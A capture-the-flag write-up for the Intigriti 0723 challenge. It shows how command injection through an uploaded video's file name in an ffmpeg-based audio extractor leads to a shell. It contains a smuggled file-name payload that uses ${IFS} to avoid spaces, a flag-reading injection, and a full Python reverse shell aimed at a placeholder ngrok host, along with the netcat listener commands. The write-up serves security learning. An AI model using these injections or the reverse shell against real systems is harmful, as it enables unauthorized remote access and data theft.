Going Blind to Find the Way (INTIGRITI Challenge 0723)
Tags: security, challenge, intigriti, writeup
Published: 2023-07-25 11:17:05

Welcome,

So, this month we have some flag capturing in the [Intigriti July Challange 0723](https://challenge-0723.intigriti.io/).

Lets begin!

## Introduction

First things first, the chllange description states the following:
* Should retrieve the flag from the web server.
* The flag format is INTIGRITI{.*}.
* Should NOT use another challenge on the intigriti.io domain.

![Challenge Homepage](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/emt3l480rqm3gdlvtkfu.png)

Looking at the [homepage](https://challenge-0723.intigriti.io/challenge), its an online service that lets you extract audio from your video.

The main challenge page is the [Upload Page](https://challenge-0723.intigriti.io/upload) having just a single file input that accepts only `.mp4` files, having a submit button to submit the file.

Upon Extraction it downloads the audio file `extracted_audio.wav`

![The upload Page](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xrsj9x65f6ier22g85cs.png)

## Analyzing The Challenge

The frontend code just has code related to the layouts and styling, so nothing to look there.

that leaves with the only thing to attack i.e. the file upload.

```html
<form action="/upload" method="POST" enctype="multipart/form-data">
   <div class="form-group">
      <label for="video">Select a video file:</label>
      <div class="custom-file">
         <input type="file" class="custom-file-input" id="video" name="video" accept="video/mp4">
         <label class="custom-file-label" for="video">Choose file</label>
      </div>
   </div>
   <div class="text-center">
      <button type="submit" class="btn btn-primary">Upload and Extract Audio</button>
   </div>
</form>
```

the form is a simple one, and the input only seems to accept `video/mpeg` i.e. `MP4` files in this case.

Upon Experimenting a bit, we also find that we are not allowed to use spaces in the file name too. Looks SUS! yeah its more like a hint.

![No Spaces Allowed](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rlvvu3cvtqqcuwu6urw9.png)

Now, the end goal is to find the flag by exploiting the file handling.

## Solving the Challenge

Before anything else, I went straight up testing whether I was somehow able to bypass the content type restriction, I tried modifying the filenames to do so, but none of them worked.

Doing so, I figured out the file should necessarily end with `.mp4` extension for it to treat the file valid.

Later, while testing I got this error message 
![FFmpeg error](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3d3azh627uiehoypnogl.png)
Its an ffmpeg error!
So, They use ffmpeg to convert the video to audio.

Connecting it with our past finding, `NO spaces allowed in filenames`

Connecting the dots, its seemed to be a case of command injection.

So I started modifying the filename to possibly inject the command.

But if spaces not allowed how we would inject commands, as it will alteast have a space. I asked myself

I literally searched `alternate for space in bash`
and came up with a [Unix Stack Exchange Article](https://unix.stackexchange.com/questions/351331/how-to-send-a-command-with-arguments-without-spaces) that suggested to use `${IFS}` in place of space and it works.

If it seems familiar to, you might have seen it in the John Hammond's Video titled [`Filter Evasion in a REVERSE SHELL (no spaces!!)`](https://www.youtube.com/watch?v=mEGnhfOX-xs) I just realised the same after getting it from article 😅

We had dealt with the space problem now it was time for the actual injection.

And that's where I fell into a rabbit hole 🕳️🐇 initially .

I assumed the command at backend would be something like `ffmpeg -i "input_file.mp4" extracted_audio.wav`

and thought to go with the SQL injection like approach.

and I came up with the following file name:
```
c" -loglevel panic;cat flag.txt > extracted_audio.wav;echo ".mp4
```

it worked locally with my assumption but not in the real website.

I couldn't make it work. And one of the drawbacks were, I didn't know where the flag.txt was it could have been current folder or in root. (It was in root btw)

By that time the post reached 100 likes and we get a hint

```
Maybe you get errors.. Maybe everything looks normal.. Maybe you just gotta do it blind🙈
```

And yeah there I realized **`blind🙈`**, the essence of this challenge!

I searched it and found its [Blind SSRF](https://portswigger.net/web-security/ssrf/blind).

As [Port Swigger](https://portswigger.net/web-security/ssrf/blind) Explains:

> Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.

By the time I also realized it is not supposed to be like SQL Injection and is the [Bash Command Substitution](https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html)

So we got Spaces done, we have a way to inject command, just have to think of a payload to get access to the flag.

and I get into another rabbit hole 😅
I knew of [netcat](https://en.wikipedia.org/wiki/Netcat), and we can get contents of a file using netcat and do reverse shell with it.

I made nc payloads for reverse shells, but it didn't work, then one of my fellow friends suggested, nc might not be available in the environment as it might be sandboxed.

And yeah finally we are leading to the solution.

So, I searched for reverse shell payloads  on google thinking if nc isn't there something else could be there.

and fortunately Came up with the [pentestmonkey reverse shell cheatsheet](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) that has many reverse shell payloads

I thought to try python one, as I'm more comfortable with it. and possibly it the web app could also be in python.

I tried it but still didn't work.

**The problem:** we can't use `${IFS}` in python code string.

It was a easy fix as the only place where a space is there is the import statement.

And in python we have an alt for normal import statements: the `__import__()` function

`import os` and `os=__import__("os")` are literally the same thing.

But after that got error saving the long filename, for that just made variable names 1 letter.

I renamed the file, uploaded it and voila a reverse shell 🎉 

The `flag.txt` was in the root of the file system. and it contained the flag.

## Solution

### Setting it up

Start The Netcat Listener
```bash
nc -lvp 1111
```
`l`: listen
`v`: verbose
`p`: port

![netcat command](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qrhdscd7twgrz8nhn0va.png)

Use Ngrok to to forward the connection, to get a usable url that is accessable from the internet.
```bash
ngrok tcp 1111
```
We listen on tcp as that is the type of connection netcat uses to communicate


![ngrok command](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aiyvscmy8zdxdkiadfhd.png)

Note down the forwarding url's domain and port, we'd make reverse shell connection by embedding them into the payload

here the domain is `0.tcp.in.ngrok.io` alternatively can ping the domain to get the ip instead as it'd be shorter, in this case its `3.6.122.107`
and the PORT is `14296`

### The payload

```
$(python${IFS}-c${IFS}'k=__import__("socket");l=__import__("subprocess");o=__import__("os");s=k.socket(k.AF_INET,k.SOCK_STREAM);s.connect(("<NGROK_DOMAIN>",<NGROK_PORT>));o.dup2(s.fileno(),0);o.dup2(s.fileno(),1);o.dup2(s.fileno(),2);p=l.call(["sh","-i"]);').mp4
```
replacing the `<NGROK_DOMAIN>` with the domain and `<NGROK_PORT>` would complete the payload.

and once uploaded to the website it would open a reverse shell

![Reverse Shell Opened](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6jifaqbuk6kozyhjgmsq.png)

We can see the `flag.txt` there

now just printing its content gives the flag

![Getting the flag](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4u43g5c290bolk07kst0.png)

```txt
INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
```

> the previous flag had a typo `INITGRITI` was there instead of `INTIGRITI` and at the time of writing they fixed it. That's why screenshot flag is different.


I'd like to thank [@_kavigihan](https://twitter.com/_kavigihan) for making the awesome challenge.

happy Hacking!
Meet You in the Next post!